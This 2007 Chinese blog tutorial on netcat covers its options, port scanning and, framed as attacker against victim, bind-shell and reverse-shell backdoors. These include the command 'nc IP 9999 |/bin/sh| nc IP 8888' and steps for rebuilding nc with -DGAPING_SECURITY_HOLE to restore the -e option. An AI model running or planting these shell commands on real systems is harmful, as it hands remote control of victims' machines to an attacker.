数据加载中……


 

 登   陆

我的分类(专题)
数据加载中……

链接

Blog信息
数据加载中……

 



Netcat在windows和Linux下的使用与技巧
樱木花盗 发表于 2007-5-5 3:51:36
netcat(简称nc)被誉为网络安全界的‘瑞士军刀’,相信很多人都认识它吧。它是一个简单但实用的工具,通过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定

的后门工具, 能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接,还有几个很有意思的内置功能。本文介绍了nc在WindowsLinux下的使用方法。同时还介绍几个在linux的配置技巧。

   nc是一个命令行工具,在Windows和在Linux下的使用方法查不多(如无特别说明,本文测试的Windows机器为winxp+sp2,Linux为Redhat9.0),我们可以通过nc –h(Windows下在nc所在的目录才能用此命令,Linux下必须将nc所在的目录加入Linux的PATH路径里)。我们能看到下图一:



图一:   在windows 中nc –h
一般来说,Linux/Unix系统默认是自带nc这个工具,但是也许是为了安全方面的考虑,后来的nc的版本中去掉了-e参数的。在Linux下我们nc –h可以看到如下图二,通过图一和图二的对比,我们可以清楚的看到,在Linux下少了两个参数,分别是-d和-e。



图二:在Linux下nc –h

从nc –h我们可以看到各个参数的使用方法,nc的基本使用格式是:
nc [-options] hostname port[s] [ports] ...
nc -l -p port [options] [hostname] [port]
下面我们来具体介绍每个参数的意义和用法:
-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!] //我们可以通过shell             绑定将Windows下的cmd和Linux的/bin/sh绑定,这样非常危险,我们整个系统对别人来说是完全透明,从下面的例子中我们可以看到。这也是Linux默认去掉-e参数的原因。
-g 网关源路由模式的跳数,最多为8
-G 源路由模式的节点个数,一般为4,8,12, ...n-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs 指定扫描所用的时间
-z 将输入输出关掉--用于扫描时

我们下面将具体举例介绍nc的用法:
1:监听本地机器的端口:
    nc –l –p port   //port指定监听的本地端口号

图三:监听本机的80端口
2:扫描远程主机:
    其常用格式是:nc –vv –z –w 数字 欲扫描IP   端口范围   / /其中数字
    指定扫描的时间间隔。

图四:对远程主机进行扫描
3:绑定主机shell作为后门
    这一般分两个步骤:
步骤一: 我们在被攻击的机器上用下列命令:nc –v –l –p 端口号 –e   shell    // 其中端口号是我们欲将shell绑定到哪个端口,shell在不同的系统是不同,在Windows下是cmd.exe,在Linux下一般是/bin/sh。
步骤二: 攻击者在自己的机器上使用命令 :nc 被攻击者IP   端口号来达到远程控制受害者(被攻击者)的机器。
     
     我们下面的例子是将windows下的cmd.exe绑定在80端口,然后在Linux机器上进行控制。

图五:在windows绑定cmd.exe到80端口

图六:我们连接到上面绑定机器的80端口
从图六我们可以看到,我们在Linux下完全得到了Windows下一样的cmd.exe,而且我们可以完全像在本地控制一样远程完全控制Windows,这样如果我们运行format 命令后果可想而知。

4:主机绑定shell并反向连接
我们可以使用两种方法:
   方法一:
分两个步骤:
步骤I:攻击者在自己的机器上指定欲监听的端口号,使用如下命令
   

      nc –vv –l –p 欲监听的端口号

步骤II:在受害者(被攻击者)机器上我们绑定shell到攻击者的机器所监听的端口

              图七:绑定windows下的cmd到Linux机器的9999端口
    这时,我们在步骤一处于监听状态的机器就会看到如图八所示的情形:

图八:在处于监听状态的Linux机器上得到的cmd.exe

可以看到此时我们已完全控制了受害者的机器。
方法二:
     我们甚至可以实现将输入窗口和输出窗口绑定到两个不同的端口,
     这样我们在一个窗口输入命令,一个窗口输出这个命令的结果,同样分
     两个步骤:
    步骤I:在攻击者的机器上,我们分别用如下的两个命令
           nc –vv –l –p 端口一
           nc –vv –l –p 端口二    //这里我们将绑定端口一为输入窗口,绑定端口二为输出窗口。
    步骤II:在受害者的机器上,我们使用如下的命令
           nc 攻击者机器IP   端口一 | shell |   nc 攻击者机器IP 端口二
            //这里的shell 和上面所说的shell相同,在Windows指cmd.exe,
             在Linux下指/bin/sh
下面的例子中,我们用命令nc 192.168.1.34 9999 |/bin/sh| nc 192.168.1.34 8888 绑定Linux下的shell(即/bin/sh)到我们的Windows机器(IP为192.168.1.34),中间的”|”是管道符合,表示前面的端口9999绑定到我们的输入窗口,后面的端口8888绑定到我们的输出窗口。

图九:绑定端口9999为输入窗口


   图十:绑定端口8888为输出窗口


   图十一:在Linux机器上绑定shell到输入窗口和输出窗口
当我们在输入窗口输入ls命令时

           图十二:在绑定端口为9999的输入窗口输入命令ls


在我们的输出窗口可以看到上面ls命令的输出结果

图十三:在绑定端口为8888的输出窗口我们可以看到ls命令的结果。

细心的读者也许或发现,我上面不是说Linux下默认是不能绑定shell的吗,为什么在上面的图十一中我们却绑定/bin/sh到windows 下的端口下?这确实是个很好的问题,诚然Linux为了安全考虑去掉了默认的-e参数,但没有关系,我们可以自己下载一个nc,然后编译让它带有-e参数。
我们下载nc110.tgz到我们的Linux机器上,但是我们发现我们用
tar –zxvf   nc110.tgz解压后,然后用
gcc -O -s -DGAPING_SECURITY_HOLE -DTELNET -DLINUX -static -o nc netcat.c 会出现如下图十四的错误提示,说”undefined reference to `_res_init'”。

为什么会出现这种情况呢?这是因为netcat.c中在main函数中调用了函数res_init(),这是一个glibc中的函数,现在改名为了 __res_init(),我们可以用sed命令修改netcat.c或是直接在vi中将res_init()改为__res_init(),这是我们再用上面的gcc命令编译就可以通过,而且gcc的参数-s确保strip操作,这样我们在Linux机器上就有了带-e参数的nc了,我们可以用nc –h看到nc的参数列表,如下图十五,我们可以看到,确实已经有了-e的参数选项。


图十五:Linux下带有-e参数的nc

现在我们可以将/bin/sh绑定在一个端口,然后通过Windows机器来控制这个shell。分别如图十六,图十七所示,当我们在Linux机器输入nc   -e /bin/sh -l -p 9999时,系统一直处于监听状态,我们在Windows上来监听这个9999端口,然后我们可以输入Linux命令来远程完全控制此shell。

图十六:我们将/bin/sh绑定在9999端口

图十七:我们通过Windows监听9999端口来获得shell

笔者也将nc110.tgz下载到freebsd系统下,经过测试发现,在freebsd下,不需要修改netcat.c中的res_init(),直接用gcc命令编译就可以生成带-e参数的nc,笔者用于测试的freebsd系统为FreeBSD 4.6-RELEASE。

nc确实是网络安全以及黑客世界一个非常流行和使用的工具,nc的用法是很多的,这里我们只介绍了几种最常用的用法,并且介绍了在Linux下重新编译nc使得其带有-e参数的方法和技巧,希望对大家有所帮助。

参考文献:
1:《nc的使用方法》
http://chjy.xmu.edu.cn/more.asp?name=minnan&id=388
2;《网络渗透技术》 许冶坤   王伟 等编著    电子工业出版社


阅读全文 | 回复(0) | 引用通告 | 编辑
 


发表评论:

    昵称:
    密码: (游客无须输入密码)
    主页:
    标题:
    数据加载中……


Powered by Oblog.